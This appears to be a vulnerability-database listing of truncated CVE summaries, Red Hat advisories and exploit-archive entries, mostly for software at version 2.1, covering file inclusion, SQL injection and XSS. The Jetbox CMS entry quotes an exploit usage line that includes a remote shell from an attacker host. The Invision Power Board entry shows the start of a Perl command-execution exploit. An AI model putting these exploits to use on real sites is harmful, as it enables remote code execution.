CVE-2006-2768

METAjour 2.1 contains a PHP remote file inclusion vulnerability exploitable when register_globals is enabled. An attacker can execute arbitrary PHP code via (1) the system_path parameter in files under app/edocument/, app/eproject/, app/erek/, and extension/ directories, and (2) the GLOBALS[syste...

CVE-2005-3619

CVE-2005-3619 affects VMware ESX Server management interface. The issue is a cross-site scripting (XSS) vulnerability in the web-based syslog viewer, where messages displayed without proper sanitization can inject arbitrary script/HTML. Affected versions include ESX 2.5.x prior to 2.5.2 upgrade p...

Bytehoard 2.1 - server.php Remote File Inclusion

Bytehoard 2.1 - server.php Remote File Inclusion Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org Discovered: beford File: ./bytehoard/includes/webdav/server.php Vuln: Remote File Include code requireonce $bhconfig'bhfilepath'."/includes/webdav/parsepropfind.php"; /code...

Bytehoard 2.1 (server.php) Remote File Include Vulnerability

No description provided by source. Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org Discovered: beford xbefordx gmail com File: ./bytehoard/includes/webdav/server.php Vuln: Remote File Include code requireonce $bhconfig'bhfilepath'."/includes/webdav/parsepropfind.php"; /code...

Bytehoard 2.1 (server.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================ Bytehoard 2.1 server.php Remote File Include Vulnerability ============================================================ Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org...

CVE-2006-2633

The CVE-2006-2633 entry describes an absolute path traversal in ByteHoard 2.1 and earlier, where the copy action in index.php can be exploited by remote authenticated users to create or overwrite files in other users’ directories by supplying the absolute directory path in infolder and the filena...

CVE-2006-2632

CVE-2006-2632 is an XSS vulnerability in Andrew Godwin ByteHoard 2.1 and earlier. The issue allows remote authenticated users to inject arbitrary web script or HTML via file descriptions. The connected documents confirm the affected software/component and the root cause (client-side script inject...

RHEL 2.1 : php (RHSA-2006:0501)

Updated PHP packages that fix multiple security issues are now available for Red Hat Enterprise Linux 2.1. This update has been rated as having moderate security impact by the Red Hat Security Response Team. PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Web server...

RHEL 2.1 / 4 : dia (RHSA-2006:0280)

An updated Dia package that fixes several buffer overflow bugs are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. The Dia drawing program is designed to draw various types of diagrams. infamous41md discovered three buffer overfl...

CVE-2006-2270

PHP remote file inclusion vulnerability in includes/config.php in Jetbox CMS 2.1 allows remote attackers to execute arbitrary code via a URL in the relativescriptpath parameter...

CVE-2006-2270

CVE-2006-2270 : Jetbox CMS 2.1 has a PHP remote file inclusion in includes/config.php that allows an attacker to execute arbitrary PHP code by providing a URL in the relative_script_path parameter. The documents do not provide exploitation details or a published patch in the supplied material. Re...

Jetbox CMS 2.1 - relative_script_path Remote File Inclusion

Jetbox CMS 2.1 - relativescriptpath Remote File Inclusion !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.co...

Sql injection

SQL injection vulnerability in gallery.php in Plogger Beta 2.1 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter, when the level is set to "slideshow". NOTE: This is a different vulnerability than CVE-2005-4246...

CVE-2006-2157

CVE-2006-2157 targets Plogger Beta 2.1 and earlier, with a SQL injection in gallery.php via the id parameter when level is set to "slideshow". The vulnerability allows remote attackers to execute arbitrary SQL commands, as described in the NVD entry and related records. Affected component: Plogge...

Invision Power Board 2.* commands execution exploit

Exploit for php platform in category web applications !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password =...

CVE-2006-2063

Multiple cross-site scripting XSS vulnerabilities in Leadhound Full and LITE 2.1, and probably the Network Version "Full Version", allow remote attackers to inject arbitrary web script or HTML via the login parameter in 1 agentaffil.pl, 2 agenthelp.pl, 3 agentfaq.pl, 4 agenthelpinsert.pl, 5...

CVE-2006-2061

CVE-2006-2061 : SQL injection in Invision Power Board (IPB) 2.1.x and 2.0.x before 20060425 via the ck parameter in lib/func_taskmanager.php allows remote attackers to execute arbitrary SQL commands. The vulnerability is triggered by input that is injected into database queries, with up to 32 cha...

CVE-2006-2038

Multiple SQL injection vulnerabilities in ampleShop 2.1 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 RecordID parameter in a CustomeraddressesRecordAction.cfm and b youraccount.cfm; 2 solus parameter in c detail.cfm; and 3 cat parameter in d category.cfm...

RHEL 2.1 / 3 / 4 : mozilla (RHSA-2006:0329)

Updated mozilla packages that fix several security bugs are now available. This update has been rated as having critical security impact by the Red Hat Security Response Team. Updated 24 Apr 2006 The erratum text has been updated to include the details of additional issues that were fixed by thes...

Adobe Document Server 6.0 Extensions - AlterCast?op Cross-Site Scripting

Adobe Document Server 6.0 Extensions - AlterCast?op Cross-Site Scripting source: https://www.securityfocus.com/bid/17500/info Adobe Document Server for Reader Extensions, included with Graphics Server and Document Server, is prone to multiple vulnerabilities that may allow remote attackers to: -...